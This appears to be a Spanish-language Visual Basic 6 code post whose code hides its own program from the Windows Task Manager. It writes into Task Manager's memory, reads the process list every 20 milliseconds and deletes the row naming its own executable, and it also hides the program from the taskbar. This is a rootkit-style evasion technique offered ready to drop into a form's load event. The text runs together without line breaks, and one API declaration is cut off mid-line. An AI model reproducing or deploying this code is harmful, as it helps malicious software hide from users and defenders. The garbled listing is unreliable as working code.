Option ExplicitPublic Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPublic Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As LongPublic Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As LongPublic Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPrivate Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As LongPrivate Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As LongPrivate Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPublic Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As LongPublic Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As LongConst PROCESS_VM_OPERATION = &H8Const PROCESS_VM_READ = &H10Const PROCESS_VM_WRITE = &H20Const PROCESS_ALL_ACCESS = 0Private Const PAGE_READWRITE = &H4&Const MEM_COMMIT = &H1000Const MEM_RESERVE = &H2000Const MEM_DECOMMIT = &H4000Const MEM_RELEASE = &H8000Const MEM_FREE = &H10000Const MEM_PRIVATE = &H20000Const MEM_MAPPED = &H40000Const MEM_TOP_DOWN = &H100000Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPrivate Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Const LVM_FIRST = &H1000Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)Private Const LVM_GETITEMW = (LVM_FIRST + 75)Private Const LVIF_TEXT = &H1Private Const LVM_DELETEITEM = 4104Public Type LV_ITEM mask As Long iItem As Long iSubItem As Long state As Long stateMask As Long lpszText As Long 'LPCSTR cchTextMax As Long iImage As Long lParam As Long iIndent As LongEnd TypeType LV_TEXT sItemText As String * 80End TypePublic Function Procesos(ByVal hWnd2 As Long, lParam As String) As BooleanDim Nombre As String * 255, nombreClase As String * 255Dim Nombre2 As String, nombreClase2 As StringDim X As Long, Y As LongX = GetWindowText(hWnd2, Nombre, 255)Y = GetClassName(hWnd2, nombreClase, 255)Nombre = Left(Nombre, X)nombreClase = Left(nombreClase, Y)Nombre2 = Trim(Nombre)nombreClase2 = Trim(nombreClase)If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then OcultarItems (hWnd2) Exit FunctionEnd IfIf Nombre2 = "" And nombreClase2 = "" ThenProcesos = FalseElseProcesos = TrueEnd IfEnd FunctionPrivate Function OcultarItems(ByVal hListView As Long) ' As Variant Dim pid As Long, tid As Long Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long Dim DirMemComp As Long, dwTam As Long Dim DirMemComp2 As Long Dim sLVItems() As String Dim li As LV_ITEM Dim lt As LV_TEXT If hListView = 0 Then Exit Function tid = GetWindowThreadProcessId(hListView, pid) nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&) If nElem = 0 Then Exit Function ReDim sLVItems(nElem - 1) li.cchTextMax = 80 dwTam = Len(li) DirMemComp = GetMemComp(pid, dwTam, hProceso) DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso) For i = 0 To nElem - 1 li.lpszText = DirMemComp2 li.cchTextMax = 80 li.iItem = i li.mask = LVIF_TEXT WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo lt.sItemText = Space(80) WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp) Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo) If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then '<===========CAMBIAR Call SendMessage(hListView, LVM_DELETEITEM, i, 0) Exit Function End If Next i CloseMemComp hProceso, DirMemComp, dwTam CloseMemComp hProceso, DirMemComp2, LenB(lt)End FunctionPrivate Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid) GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)End FunctionPrivate Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long) Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE) CloseHandle hProcesoEnd SubPrivate Function TrimNull(sInput As String) As String Dim pos As Integer pos = InStr(sInput, Chr$(0)) If pos Then TrimNull = Left$(sInput, pos - 1) Exit Function End If TrimNull = sInputEnd FunctionSub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)Dim Handle As LongHandle = FindWindow(vbNullString, "Administrador de tareas de Windows")If Handle <> 0 Then EnumChildWindows Handle, AddressOf Procesos, 1End SubPublic Sub Ocultar(ByVal hwnd As Long) App.TaskVisible = False SetTimer hwnd, 0, 20, AddressOf TimerProcEnd SubPublic Sub Mostrar(ByVal hwnd As Long) App.TaskVisible = True KillTimer hwnd, 0End SubAhora en el formulario, en el evento load escribir esto:Private Sub Form_Load()Form1.HideOcultar Me.hwndEnd Sub